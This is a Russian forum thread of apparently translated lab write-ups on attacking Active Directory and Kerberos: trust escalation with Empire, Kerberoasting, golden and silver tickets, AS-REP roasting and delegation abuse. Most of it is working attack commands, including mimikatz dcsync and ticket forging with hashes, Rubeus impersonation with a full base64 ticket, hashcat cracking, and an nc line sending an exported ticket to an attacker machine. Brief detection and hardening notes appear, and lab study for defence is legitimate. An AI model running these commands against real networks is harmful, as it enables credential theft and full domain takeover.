Статья Злоупотребление Active Directory и Kerberos

[yashechka]

От администратора домена к администратору предприятия

Эта лаборная основана на (https://enigma0x3.net/2016/01/28/an-empire-case-study/) и его цель — лучше познакомиться с некоторыми концепциями Powershell Empire и его модулями, а также с концепциями Active Directory, такими как леса, родительские/дочерние домены и доверительные отношения, а также с тем, как ими можно злоупотреблять для повышения привилегий.

Конечная цель этого практического занятия — повышение привилегий от DA в дочернем домене до EA в корневом домене.

Доверительные отношения домена

Во-первых, нужно настроить лабу — нам нужно создать дочерний контроллер домена, а также новый лес с новым контроллером домена.

Родительские/дочерние домены

После установки дочернего домена red.offense.local родительского домена Offense.local домены и доверительные отношения Active Directory отображают отношения родитель-потомок между доменами, а также их доверительные отношения по умолчанию:

Доверие между двумя доменами можно проверить из powershell, выполнив:

Get-ADTrust -Filter *

Первая консоль показывает доверительные отношения домена с точки зрения Offense.local, а вторая — Red.offense.local. Обратите внимание, что направление двунаправленное, что означает, что участники могут аутентифицироваться из одного домена в другой, когда они хотят получить доступ к общим ресурсам:

Аналогичную, но очень упрощенную информацию можно почерпнуть из родного бинарного файла Windows:

nltest /domain_trusts

Powershell способ проверки доверительных отношений:

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

Леса

После установки нового контроллера домена dc-blue в новом лесу давайте настроим одностороннее доверие между доменами Offensive.local и Defense.local, используя контроллеры dc-mantvydas.offense.local и dc-blue.defense.blue.

Во-первых, настройте условные серверы пересылки DNS на обоих контроллерах домена:

Добавьте новое доверие, сделав dc-mantvydas доверенным доменом:

Установите типы доверия на Лес:

Теперь создается входящее доверие для dc-mantvydas.offense.local:

Тестирование вывода nltest:

Тест Леса

Теперь, когда доверительные отношения установлены, легко проверить, правильно ли это было сделано. Что должно произойти сейчас, так это то, что ресурсы на defence.local (доверенный домен) должны быть доступны для членов Offensive.local (доверенный домен).

Обратите внимание, что пользователь на dc-mantvydas.offense.local не может поделиться папкой с защитой\администратором (поскольку offense.local не доверяет defense.local ):

Тем не менее, dc-blue.defense.local доверяет offense .local, следовательно, может поделиться ресурсом с одним из членов offense.local - отношения доверия леса работают как задумано:

Назад в Empire: от DA до EA

Предположим, мы вернули нашего первого агента с компьютера PC-MANTVYDAS$:

Дамп учетных данных

Поскольку агент работает с процессом высокой степени целостности, давайте сдампим учетные данные — некоторые интересные учетные данные можно наблюдать для пользователя в домене red.offense.local:

Перечисляя процессы с помощью ps, мы видим несколько процессов, запущенных под учетной записью red\spotless. Вот один:

Пользователь домена представляет интерес, поэтому мы будем использовать команду usemodule signal_awareness/network/powerview/get_user, чтобы перечислить пользователя red\spotless и посмотреть, является ли он членом каких-либо интересных групп, однако экземпляр моей Империи, похоже, не возвращал никаких данных для этой команды. Предположим, что для этой лабораторной работы было показано, что пользователь red\spotless является членом группы администраторов в домене red.offense.local.

Манипуляции с токенами

Давайте украдем токен процесса с PID 4900, который работает с учетными данными red\spotless:

Разведка DC

Получив привилегии члена red\spotless, давайте получим имя компьютера контроллера домена для этого пользователя. Опять же, мой экземпляр Empire глючит, поэтому я использовал другую команду, чтобы получить его:

shell [DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | ForEach-Object { $_.Name }

Проверьте, есть ли у нас доступ администратора к DC-RED:

shell dir \\dc-red.red.offense.local\c$

Нам повезло, пользователь является администратором домена, как видно из приведенного выше снимка экрана.

Боковое движение

Возьмем агента от DC-RED — обратите внимание, что учетные данные исходят из предыдущего дампа с mimikatz:

usemodule lateral_movement/invoke_wmi

Теперь у нас есть агент, давайте просто подтвердим это:

Проверка доверительных отношений

Оказавшись в DC-RED, давайте проверим все доверительные отношения домена:

usemodule situational_awareness/network/powerview/get_domain_trust

Мы видим, что red.offense.local является дочерним доменом домена Offence.local, который автоматически доверяет и доверяет (двустороннее доверие/двунаправленное) с offense .local.


От DA к EA

Теперь мы попытаемся перейти от DA в red.offense.local к EA в Offense.local. Нам нужно создать золотой билет для red.offense.local и подделать его, чтобы сделать нас EA в Offense.local.

Во-первых, получим SID учетной записи пользователя krbtgt в файле abuse.local:

(Empire: powershell/situational_awareness/network/powerview/get_domain_trust) > usemodule powershell/management/user_to_sid
(Empire: powershell/management/user_to_sid) > set Domain offense.local
(Empire: powershell/management/user_to_sid) > set User krbtgt
(Empire: powershell/management/user_to_sid) > run

После получения SID для offense .local\krbtgt нам нужно получить хэш пароля от учетной записи krbtgt на скомпрометированном DC DC-RED (мы можем извлечь его, так как являемся админом домена в red.offense.local):

(Empire: powershell/management/user_to_sid) > usemodule powershell/credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user red\krbtgt
(Empire: powershell/credentials/mimikatz/dcsync) > execute

Золотой билет для корневого домена

Теперь мы можем сгенерировать золотой билет для offense.local\Domain Admins, поскольку у нас есть SID offense.local\krbtgt и хэш red.offense.local\krbtgt:

usemodule powershell/credentials/mimikatz/golden_ticket
(Empire: powershell/credentials/mimikatz/golden_ticket) > set user hakhak
(Empire: powershell/credentials/mimikatz/golden_ticket) > set sids S-1-5-21-4172452648-1021989953-2368502130-519
(Empire: powershell/credentials/mimikatz/golden_ticket) > set CredID 8
(Empire: powershell/credentials/mimikatz/golden_ticket) > run

Обратите внимание, как во время спецификации sids мы заменили последние три цифры с 502 (krbtgt) на 519 (администраторы предприятия) — эта часть процесса называется атакой истории SID:

set sids S-1-5-21-4172452648-1021989953-2368502130-519

Свойство CredID в модуле dcsync происходит из хранилища учетных данных Empire, которое ранее было заполнено нашим мимикадзом:

Теперь мы должны быть администратором предприятия в файле Offense.local, и мы можем проверить это, указав общий ресурс администратора c$ dc-mantvydas.offense.local:

shell dir \\dc-mantvydas\c$

Агент из корневого домена

Ради веселья и завершения этой лабы давайте возьмем агента от dc-mantvydas:

 

[yashechka]

2.Кербероастинг

Доступ к учетным данным

В этом практическом занятии исследуется атака Kerberoasting — она позволяет любому пользователю домена запрашивать билеты Kerberos у TGS, которые зашифрованы с помощью NTLM-хэша открытого текста пароля учетной записи пользователя домена, используемой в качестве учетной записи службы (т. е. учетной записи, используемой для запуска службы IIS) и взламывайте их в автономном режиме, избегая блокировки учетной записи AD.

Исполнение

Обратите внимание на уязвимого члена домена — учетную запись пользователя с установленным атрибутом servicePrincipalName, который очень важен для kerberoasting — только учетные записи пользователей с таким набором свойств, скорее всего, подвержены kerberoasting:

Злоумышленник настраивает прослушиватель nc для получения хэша для взлома:

nc -lvp 443 > kerberoast.bin

Извлечение билета

Злоумышленник перечисляет учетные записи пользователей с установленным атрибутом serverPrincipalName:

Get-NetUser | Where-Object {$_.servicePrincipalName} | fl

Используя только встроенный powershell, мы можем извлечь уязвимые учетные записи с помощью:

get-adobject | Where-Object {$_.serviceprincipalname -ne $null -and $_.distinguishedname -like "*CN=Users*" -and $_.cn -ne "krbtgt"}

Было бы лучше использовать следующую команду, предоставленную здесь (https://adsecurity.org/?p=2293) чисто из-за использования -filter (быстрее, чем select-object), но у меня это не сработало:

get-adobject -filter {serviceprincipalname -like “*sql*”} -prop serviceprincipalname

Кроме того, учетные записи пользователей с установленным SPN могут быть извлечены с помощью собственного двоичного файла Windows:

setspn -T offense -Q */*

Злоумышленник запрашивает билет kerberos (TGS) для учетной записи пользователя с именем servicePrincipalName, для которого задано значение HTTP/dc-mantvydas.offense.local — он сохраняется в памяти:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/dc-mantvydas.offense.local"

С помощью mimikatz злоумышленник извлекает из памяти билет kerberos и экспортирует его в файл для взлома:

mimikatz # kerberos::list /export

Злоумышленник отправляет экспортированный сервисный билет на атакующую машину для взлома в автономном режиме:

nc 10.0.0.5 443 < C:\tools\mimikatz\x64\2-40a10000-spotless@HTTP~dc-mantvydas.offense.local-OFFENSE.LOCAL.kirbi

Взлом билета

Атакующий подбирает пароль сервисного билета:

python2 tgsrepcrack.py pwd kerberoast.bin

Наблюдения

Ниже приведен журнал безопасности 4769, показывающий запрашиваемый доступ к службе:

Если вы видите Add-event -AssemblyName SystemIdentityModel (из расширенного ведения журнала Powershell), за которым сразу после этого следует событие безопасности Windows 4769, возможно, вы посмотрите на старую школу Kerberoasting, особенно если тип шифрования билета имеет значение 0x17 (десятичное число 23, что означает это зашифровано RC4):

Трафик

Ниже приведен снимок экрана, показывающий запрос, отправляемый в службу предоставления билетов (TGS) для службы с именем servicePrincipalName HTTP/dc-mantvydas.offense.local :

Ниже приведен ответ от TGS для пользователя spotless (эту атаку мы инициировали с offense\spotless), который содержит зашифрованный (RC4) билет kerberos (серверная часть) для доступа к сервису HTTP/dc-mantvydas.offense.local. Это тот же билет, который мы взломали ранее с помощью tgsrepcrack :

Из любопытства давайте расшифруем билет kerberos, так как у нас есть пароль, которым был зашифрован билет.

Создание файла keytab kerberos для использования в wirehark:

root@~# ktutil
ktutil: add_entry -password -p HTTP/iis_svc@dc-mantvydas.offense.local -k 1 -e arcfour-hmac-md5
Password for HTTP/iis_svc@dc-mantvydas.offense.local:
ktutil: wkt /root/tools/iis.keytab

Добавляем keytab в wireshark:

Обратите внимание, что ранее зашифрованная часть билета теперь представлена в виде обычного текста, и мы можем видеть информацию, относящуюся к запрошенному билету для службы HTTP/dc-mantvydas.offense.local:

tgsrepcrack.py

Заглянув внутрь кода и добавив пару операторов печати в ключевые области скрипта, мы видим, что пароль из словаря (Passw0rd) сначала преобразуется в хэш NTLM (K0), затем из начального извлекается другой ключ K1 и тип сообщения, еще один ключ K2 получен из K1 и дайджеста MD5 зашифрованных данных. Ключ K2 — это фактический ключ, используемый для расшифровки зашифрованных данных билета:

Мне не нужно было этого делать, но я также использовал онлайн-инструмент для расшифровки RC4, чтобы подтвердить приведенные выше выводы:

 

[valeraleontev]

Обратите внимание, как во время спецификации sids мы заменили последние три цифры с 502 (krbtgt) на 519 (администраторы предприятия) — эта часть процесса называется атакой истории SID:

set sids S-1-5-21-4172452648-1021989953-2368502130-519

Какой страшный костыль, впервые такое вижу, сто процентов начинающие не поймут и все как один начнут получать SID krbtgt. Достаточно было получить SID атакуемого домена. Разве у PE нет опции для того, чтобы засунуть нужное в SID history отдельно, а домен указать отдельно? По крайней мере в мимикатзе существуют опции /sids: /sid: для этого соответственно

Ниже привел два скрина с разных машин в одном домене. Как мы видим, различается лишь RID.

UPD: Было бы даже логичнее получать с атакуемого (или корневого) домена сразу SID этой группы Enterprise Admins:

Get-DomainGroup -Identity 'Enterprise Admins' -Domain <атакуемый домен> | select ObjectSid

его засовывать и не морочаться

 

[yashechka]

3.Керберос: золотые билеты

Постоянство и повышение привилегий с золотыми билетами Kerberots

В этом лабе исследуется атака на проверку подлинности Active Directory Kerberos. Точнее, атака, подделывающая Kerberos Ticket Granting Tickets (TGT), которые используются для аутентификации пользователей с помощью Kerberos. TGT используются при запросе билетов Службы предоставления билетов (TGS), что означает, что поддельный TGT может предоставить нам любой билет TGS, поэтому он является золотым.

Эта атака предполагает компрометацию контроллера домена, при которой будет извлечен хэш учетной записи KRBTGT, что является требованием для успешной атаки Golden Ticket.

Замечания

Извлекаем хэш NTLM пароля учетной записи krbtgt:

mimikatz # lsadump::lsa /inject /name:krbtgt

Создаем поддельный золотой билет, который автоматически внедряется в память текущего сеанса входа в систему:

mimikatz # kerberos::golden /domain:offense.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:8584cfccd24f6a7f49ee56355d41bd30 /user:newAdmin /id:500 /ptt

Проверяем, создан ли тикет:

Открываем другую консоль powershell с учетной записью с низким уровнем привилегий и пытаемся смонтировать шару c$ pc-mantvydas и dc-mantvydas — неудивительно, нам возвращает отказ в доступе:

Тем не менее, переключившись обратно на консоль, которую злоумышленник использовал для создания золотого билета (локальный администратор), и снова попытавшись получить доступ к ресурсу c$ контроллера домена мы получаем то что хотели:

Наблюдения

 

[yashechka]

4. Kerberos: серебряные билеты

Доступ к учетным данным

В этом лабе рассматривается метод подделки взломанного билета TGS Kerberos, чтобы выдать себя за другого пользователя и повысить привилегии с точки зрения службы, для которой был взломан TGS.

Эта лабоа основана на исследованиях https://www.ired.team/offensive-sec...-directory-kerberos-abuse/t1208-kerberoasting где был взломан билет TGS.

Выполнение

Я буду использовать mimikatz для создания серебряного билета Kerberos — буду подделывать/переписывать взломанный билет с некоторыми новыми деталями, которые принесут пользу мне как злоумышленнику.

Ниже приведена таблица со значениями, предоставленными для mimikatz, и пояснена сама команда:

Получаем SID нашего пользователя, как описано в первом шаге в приведенной выше таблице:

Выдаем последнюю команду mimikatz для создания нашего поддельного (серебряного) билета:

mimikatz # kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt /id:1155 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:beningnadmin

Проверяем доступные билеты в памяти с помощью klist — обратите внимание, как билет показывает наше поддельное имя пользователя beignadmin и поддельный идентификатор пользователя:

Обратите внимание в приведенном выше окне mimikatz на идентификаторы групп, членом которых теперь является наш поддельный пользователь beignadmin из-за поддельного билета:

Инициализируем запрос к атакуемому сервису с билетом TGS — обратите внимание, что аутентификация прошла успешно:

Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://dc-mantvydas.offense.local

Замечание

Обратите внимание на вход в сеть от benignadmin, а также на поддельные RID:

Лучше не использовать учетные записи пользователей для запуска служб на них, но если вы это сделаете, обязательно используйте действительно надежные пароли! Учетные записи компьютеров генерируют длинные и сложные пароли и часто меняются, поэтому они лучше подходят для запуска служб. А еще лучше следуйте передовым методам, таким как использование (https://docs.microsoft.com/en-us/pr...ows-server-2012-R2-and-2012/hh831782(v=ws.11)) для запуска более безопасных сервисов.

 

[jaroule]

it's just incredible great articles! everytime i read your articles i have only one question in my head it is how do you manage to have such mind to learn all of this?

 

[yashechka]

5.AS-REP Роастинг

AS-REP Роастинг— это метод, который позволяет извлекать хэши паролей для пользователей, у которых выбрано свойство - Не требовать предварительной аутентификации Kerberos:

Затем эти хэши можно взломать в автономном режиме, аналогично тому, как это делается в Т1208( https://www.ired.team/offensive-sec...-directory-kerberos-abuse/t1208-kerberoasting) .

Исполнение

.\Rubeus.exe asreproast

Взлом хэшей AS-REP с помощью HashCat

Скажем, это хеш, который мы получаем от потенциальной жертвы:

$krb5asrep$spot@offense.local:3171EA207B3A6FDAEE52BA247C20362E$56FE7DC0CABA8CB7D3A02A140C612A917DF3343C01BCDAB0B669EFA15B29B2AEBBFED2B4F3368A897B833A6B95D5C2F1C2477121C8F5E005AA2A588C5AE72AADFCBF1AEDD8B7AC2F2E94E94CB101E27A2E9906E8646919815D90B4186367B6D5072AB9EDD0D7B85519FBE33997B3D3B378340E3F64CAA92595523B0AD8DC8E0ABE69DDA178D8BA487D3632A52BE7FF4E786F4C271172797DCBBDED86020405B014278D5556D8382A655A6DB1787DBE949B412756C43841C601CE5F21A36A0536CFED53C913C3620062FDF5B18259EA35DE2B90C403FBADD185C0F54B8D0249972903CA8FF5951A866FC70379B9DA

Нам нужно вставить 23 после $krb5asrep$ следующим образом:

$krb5asrep$23$spot@offense.local:3171ea207b3a6fdaee52ba247c20362e$56fe7dc0caba8cb7d3a02a140c612a917df3343c01bcdab0b669efa15b29b2aebbfed2b4f3368a897b833a6b95d5c2f1c2477121c8f5e005aa2a588c5ae72aadfcbf1aedd8b7ac2f2e94e94cb101e27a2e9906e8646919815d90b4186367b6d5072ab9edd0d7b85519fbe33997b3d3b378340e3f64caa92595523b0ad8dc8e0abe69dda178d8ba487d3632a52be7ff4e786f4c271172797dcbbded86020405b014278d5556d8382a655a6db1787dbe949b412756c43841c601ce5f21a36a0536cfed53c913c3620062fdf5b18259ea35de2b90c403fbadd185c0f54b8d0249972903ca8ff5951a866fc70379b9da

Затем мы можем взломать его:

hashcat -m18200 '$krb5asrep$23$spot@offense.local:3171EA207B3A6FDAEE52BA247C20362E$56FE7DC0CABA8CB7D3A02A140C612A917DF3343C01BCDAB0B669EFA15B29B2AEBBFED2B4F3368A897B833A6B95D5C2F1C2477121C8F5E005AA2A588C5AE72AADFCBF1AEDD8B7AC2F2E94E94CB101E27A2E9906E8646919815D90B4186367B6D5072AB9EDD0D7B85519FBE33997B3D3B378340E3F64CAA92595523B0AD8DC8E0ABE69DDA178D8BA487D3632A52BE7FF4E786F4C271172797DCBBDED86020405B014278D5556D8382A655A6DB1787DBE949B412756C43841C601CE5F21A36A0536CFED53C913C3620062FDF5B18259EA35DE2B90C403FBADD185C0F54B8D0249972903CA8FF5951A866FC70379B9DA' -a 3 /usr/share/wordlists/rockyou.txt

 

[yashechka]

6.Kerberoasting: запрос TGS с шифрованием RC4, когда включен AES

Учетную запись пользователя с SPN можно запустить с помощью kerberoast, даже если учетная запись поддерживает шифрование Kerberos AES, запросив шифрование RC4 (вместо AES) TGS, которую легче взломать.

Выполнение

Во-первых, давайте подтвердим, что у нас есть хотя бы один пользователь с набором SPN :

Get-NetUser -SPN sandy

Поскольку учетная запись пользователя по умолчанию не поддерживает шифрование Kerberos AES, при запросе билета TGS для kerberoasting с помощью rubeus мы получим зашифрованный билет RC4:

F:\Rubeus\Rubeus.exe kerberoast /user:sandy

Если теперь пользователю включить поддержку шифрования AES:

По умолчанию возвращенные билеты будут зашифрованы с использованием максимально возможного алгоритма шифрования, которым является AES:

F:\Rubeus\Rubeus.exe kerberoast /user:sandy

Запрос зашифрованного билета RC4

Как упоминалось в начале, по-прежнему можно запросить зашифрованный билет RC4 (если RC4 не отключен в среде, что, похоже, еще не распространено):

F:\Rubeus\Rubeus.exe kerberoast /tgtdeleg

Несмотря на то, что шифрование AES поддерживается обеими сторонами, был возвращен билет TGS, зашифрованный с помощью RC4 (тип шифрования 0x17/23). Обратите внимание, что SOC могут отслеживать билеты, зашифрованные с помощью RC4:

 

[yashechka]

7. Неограниченное делегирование Kerberos

В этой лабе исследуется влияние на безопасность неограниченного делегирования Kerberos, включенного на компьютере домена.

Обзор

- Неограниченное делегирование kerberos — это привилегия, которая может быть назначена компьютеру домена или пользователю;

- Обычно эта привилегия дается компьютерам (в данной лабораторной работе она назначена компьютеру IIS01), на которых запущены такие службы, как IIS, MSSQL и т. д.;

- Этим службам обычно требуется доступ к некоторой внутренней базе данных (или другому серверу), чтобы он мог читать/изменять базу данных от имени аутентифицированного пользователя;

- Когда пользователь аутентифицируется на компьютере, на котором включена неограниченная привилегия делегирования Kerberos, билет TGT аутентифицированного пользователя сохраняется в памяти этого компьютера;

- Причина, по которой TGT кэшируются в памяти, заключается в том, что компьютер (с правами делегирования) может выдавать себя за аутентифицированного пользователя по мере необходимости для доступа к любым другим службам от имени этого пользователя.

По сути это выглядит так:

Пользователь --- аутентифицируется к ---> сервер IIS ---> аутентифицируется от имени пользователя ---> сервер БД

Любая аутентификация пользователя (например, CIFS) на компьютере с включенным неограниченным делегированием будет кэшировать TGT этого пользователя в памяти, который впоследствии может быть сброшен и повторно использован противником.

Настрайка

Давайте предоставим одному из компьютеров нашего домена/компьютеру-жертве IIS01 неограниченную привилегию делегирования Kerberos:

Чтобы подтвердить/найти компьютеры в домене с установленным свойством неограниченного делегирования Kerberos:

Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description

Мы видим наш компьютер-жертву IIS01 с полем TrustedForDelegation, установленным в $true — мы готовы к атаке:

Выполнение

На компьютере IIS01 с правами делегирования kerberos давайте выполним базовый запуск mimikatz, чтобы посмотреть, что мы можем найти в памяти:

sekurlsa:ickets

Обратите внимание, что у нас пока нет TGT для offense \администратора (администратора домена).

Теперь отправим HTTP-запрос к IIS01 с хоста DC01 из контекста offense \администратор:

Invoke-WebRequest http://iis01.offense.local -UseDefaultCredentials -UseBasicParsing

Мы видим, что запрос получил ответ HTTP 200 OK:

Давайте проверим хост-жертву IIS01 на наличие новых билетов kerberos в памяти:

mimikatz # sekurlsa:ickets

Мы видим, что у IIS01 теперь есть TGT для offense \администратора - это означает, что мы фактически скомпрометировали весь домен offense .local. Мы вернемся к этому через мгновение.

Во-первых, давайте экспортируем все билеты kerberos из памяти IIS01, чтобы мы могли загрузить билет TGT для offense \администратора в текущую сессию и принять его привилегии:

mimikatz:ickets /export

...но прежде чем мы приступим к атаке с передачей билета и станем DA, давайте попробуем PSRemoting к DC01 из IIS01 и проверим доступные в настоящее время билеты kerberos в текущем сеансе входа — просто чтобы убедиться, что в настоящее время у нас нет прав DA:

Скриншот выше показывает, что билетов нет и PSSession не может быть установлен - как и ожидалось.

Давайте теперь продолжим и импортируем ранее сброшенный TGT offense \администратора в нашу текущую сессию входа в систему на хосте IIS01:

mimikatz # kerberos::ptt C:\Users\Administrator\Desktop\mimikatz\[0;3c785]-2-0-40e10000-Administrator@krbtgt-OFFENSE.LOCAL.kirbi

Как только TGT будет импортирован на IIS01, давайте проверим доступные билеты и снова попробуем подключиться к DC01:

Как видно из приведенного выше снимка экрана, система IIS01 теперь содержит krbtgt для offense \администратора, который позволяет этому сеансу получить доступ к общему ресурсу DC01 C$ и установить сеанс PSSession с интерактивной оболочкой с правами администратора домена.

Напоминание

Обратите внимание, что успешная аутентификация в ЛЮБОЙ службе на IIS01 приведет к кэшированию TGT аутентифицированного пользователя. Ниже приведен пример нарушения пользователем\делегата доступа к общему ресурсу на IIS01 — TGT кэшируется:

Защита

- Отключите делегирование Kerberos, где это возможно.

- Будьте осторожны с тем, кому вы даете привилегию Включить доверенные учетные записи компьютеров и пользователей для делегирования - это пользователи, которые могут включить неограниченное делегирование kerberos.

- Включите Учетная запись является конфиденциальной и не может быть делегирована для учетных записей с высоким уровнем привилегий.

 

[yashechka]

8. Ограниченное делегирование Kerberos

Если вы скомпрометировали учетную запись пользователя или компьютер (учетную запись компьютера), на котором включено ограниченное делегирование Kerberos, можно выдать себя за любого пользователя домена (включая администратора) и пройти аутентификацию в службе, делегирование которой разрешено учетной записи пользователя.

Учетная запись пользователя

Предпосылки

Поиск учетных записей пользователей, для которых включено ограниченное делегирование Kerberos делается так:

Get-NetUser -TrustedToAuth

На приведенном ниже снимке экрана пользователю разрешено делегировать или, другими словами, олицетворять любого пользователя и аутентифицироваться в службе файловой системы (CIFS) на контроллере домена DC01.

Пользователь должен иметь атрибут TRUSTED_TO_AUTH_FOR_DELEGATION, чтобы он мог пройти аутентификацию в удаленной службе.

TRUSTED_TO_AUTH_FOR_DELEGATION — (Windows 2000/Windows Server 2003) учетная запись включена для делегирования. Это параметр безопасности. Учетные записи, для которых включена эта опция, должны строго контролироваться. Этот параметр позволяет службе, которая запускается под учетной записью, принимать удостоверение клиента и аутентифицироваться как этот пользователь на других удаленных серверах в сети.

https://support.microsoft.com/en-gb...control-to-manipulate-user-account-properties

Атрибут msds-allowedtodelegateto идентифицирует имена участников-служб, пользователя spot , которому доверяют делегирование (выдавать себя за других пользователей домена) и проходить аутентификацию — в этом случае это говорит о том, что пользователю spot разрешено проходить аутентификацию в службе CIFS на DC01 от имени любого другой пользователь домена:

Атрибут msds-allowedtodelegate в AD определяется здесь:

Здесь определяется атрибут TRUSTED_TO_AUTH_FOR_DELEGATION в AD.

Исполнение

Предположим, мы скомпрометировали пользователя spot , для которого установлено ограниченное делегирование, как описано ранее. Давайте проверим, что в настоящее время мы не можем получить доступ к файловой системе DC01, прежде чем мы выдадим себя за пользователя-администратора домена:

dir \\dc01\c$

Теперь давайте запросим делегирование TGT для пользовательского места:

\\vboxsvr\tools\Rubeus\Rubeus.exe tgtdeleg

Используя rubeus, теперь мы можем запросить TGS для administrator @offense.local, которому будет разрешено пройти аутентификацию в CIFS/dc01.offense.local:

# ticket is the base64 ticket we get with `rubeus's tgtdeleg`
Rubeus.exe s4u /ticket:doIFCDCCBQSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUyjggPEMIIDwKADAgESoQMCAQKiggOyBIIDro3ZCHDaVettnJseuyFJMK+Il4GAtWVAHPAq02cnHmOs3R2KcrOWpf3YbtnTD7fB+rKdZ8aElgloJO+v4XVM2NgyOVIia0MzNToDrK1ynhC70aApbag+ykvUFTDeG9NjhE3TVk3+F99vWboy6hhc9AmRUJwHFuqLC4djtL2PtQSpgWWL42W5eONlIZkc5XK0kWkC/AvivuuPOHs9aEy3g38hoBeApZE8NqT7mGKz5JHLwV5TyUgo87s6fFVSn8LHK8CI6G0x2DRhxxu04q0qnRXhLJ5S0MyJgJj6YDVESvCUgep5MXR+OYp0EGdVP8qQJK+x6m4rmr0Y3nd1Klmc+xDnLSC11ay7I8VevqhCBCZ64c+HQow4qcMTa/agxyOXqK42ynUl0GJtrLV7nIIrp+J2e5PECDUXIjKFkGnp6HZDNfzYAGL3XxyyT2JYdneOS3VUzJQyEctjuQMdVA0wB8NrRqDVdqSNBSOyBwpB3/FWzdHNYxztRmVT+Yz6qJCU4SYHIzHUE5dqHjvhjPSwgAkhS/QNApxtWvyba8iwCSnyualuhK46LS0pkt1IIQT0Y+qw80oL6mzjD+rxfKgR4B9hI6Imw9zTT5rjlRNMjWEy78izLtRB+ulzqdkZCUMA6zswWjq1BTmWzZX0LAZ+QAWQJPzoRVsqOcZCZwo/aWwmO1s9v5TLRRMLTAvk16PQW3z9NHix2Io9sObH8cb7gVrB+u2Q545Qwekl0uwP5mCar6swU2oEkxBm5DZvLsbZTcGl+KzGxqq/zhEJm3EceLuwIY81z8aYu13c6AsYETs9VevdEVysylpNL7EcHu8iXsoE5JmLx7OrcPR9WfeFWxRDp+1CVDijOI5VOS51+JpkEvcXFmfZueqLTJ66VGJgQaP7A3B//Y40ur5nSXyvEmIKgzdeqPLpGa5GPiNs/rYFmMlxwEX+yVFB5bPYgoszr3Crjsvs6Q/vdr36NoWqI9/11Nurzeeknt+k8sUV26URnQVkecW4yJFQ2TZwYCJ1k9h4cr96csJ9HhJO46UBye/8oqlqJXKnYY3JpaZiXWK77kG7BqhM6oPl+oEIbX2ycj/gHesxREvP7/vYINk33KbOSxXTAi3Je3wbZP7N+3B9Lz04m8Xi6nGeIVsZiMyODpnJVX5Bgq+3cGaSty0v+fIfqMHDwuKhOS7h1MGLJduhWh3b21ytDfzn73yyCPskFee2ckAomlAgxMzg8ZatmZDLTxfUenJ+EnrJgkYee6OB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEIN2JDvcjQZeMR+7giMsawE1vG/Cmw9IFIV7ZYwaELMqaoQ8bDU9GRkVOU0UuTE9DQUyiETAPoAMCAQGhCDAGGwRzcG90owcDBQBgoQAApREYDzIwMTkwODE3MTMyMDU2WqYRGA8yMDE5MDgxNzIzMDY0MFqnERgPMjAxOTA4MjQxMzA2NDBaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUw= /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt

У нас есть олицетворенные билеты TGS для учетной записи администратора:

Которые, как мы видим, теперь находятся в памяти текущего сеанса входа в систему:

klist

Если теперь мы попытаемся получить доступ к файловой системе DC01 с локального терминала пользователя, мы сможем подтвердить, что успешно олицетворяем учетную запись администратора домена, которая может аутентифицироваться в службе CIFS на контроллере домена DC01:

dir \\dc01.offense.local\c$

Обратите внимание, что в этом случае мы запросили TGS для службы CIFS, но мы также могли запросить дополнительные билеты TGS с помощью rubeus параметра /altservice для: HTTP (WinRM), LDAP (DCSync), HOST (оболочка PsExec), MSSQLSvc ).

Учетная запись компьютера

Если вы скомпрометировали учетную запись компьютера или, другими словами, у вас есть привилегии уровня SYSTEM на компьютере, настроенном с ограниченным делегированием, вы можете принять любое удостоверение в домене AD и аутентифицироваться в службах, делегирование которых разрешено скомпрометированному компьютеру.

В этой лабе рабочая станция WS02 доверена для делегирования DC01 для служб CIFS и LDAP, и на этот раз я собираюсь использовать службы CIFS:

Используя powerview, мы можем найти целевые компьютеры следующим образом:

Get-NetComputer ws02 | select name, msds-allowedtodelegateto, useraccountcontrol | fl
Get-NetComputer ws02 | Select-Object -ExpandProperty msds-allowedtodelegateto | fl

Давайте проверим, что мы сейчас работаем как SYSTEM и не можем получить доступ к C$ на нашем контроллере домена DC01:

hostname
[System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
ls \\dc01.offense.local\c$

Теперь давайте выдадим себя за administrator @offense.local и попробуем еще раз:

[Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
$idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
$idToImpersonate.Impersonate()
[System.Security.Principal.WindowsIdentity]::GetCurrent() | select name

ls \\dc01.offense.local\c$

 

[yashechka]

9. Ограниченное делегирование на основе ресурсов Kerberos: захват компьютерных объектов

Можно получить выполнение кода с повышенными привилегиями на удаленном компьютере, если у вас есть привилегия WRITE для объекта AD этого компьютера.

Эта лаба основана на видео, представленном на

Обзор

Общий обзор атаки, выполненной в лаборатории:

- Имеется выполнение кода на WS02 в контексте offense\sandy ;

- Пользователь sandy имеет привилегию WRITE на целевом компьютере WS01;

- Пользователь Sandy создает новый объект типа компьютер FAKE01 в Active Directory (админ не требуется);

- Пользователь sandy использует привилегию WRITE для объекта-компьютера WS01 и обновляет атрибут объекта msDS-AllowedToActOnBehalfOfOtherIdentity, чтобы позволить вновь созданному компьютеру FAKE01 олицетворять и аутентифицировать любого пользователя домена, который затем может получить доступ к целевой системе WS01.

С точки зрения человека это означает, что целевой компьютер WS01 рад, что компьютер FAKE01 выдает себя за любого пользователя домена и предоставляет ему любой доступ (даже привилегии администратора домена) к WS01;

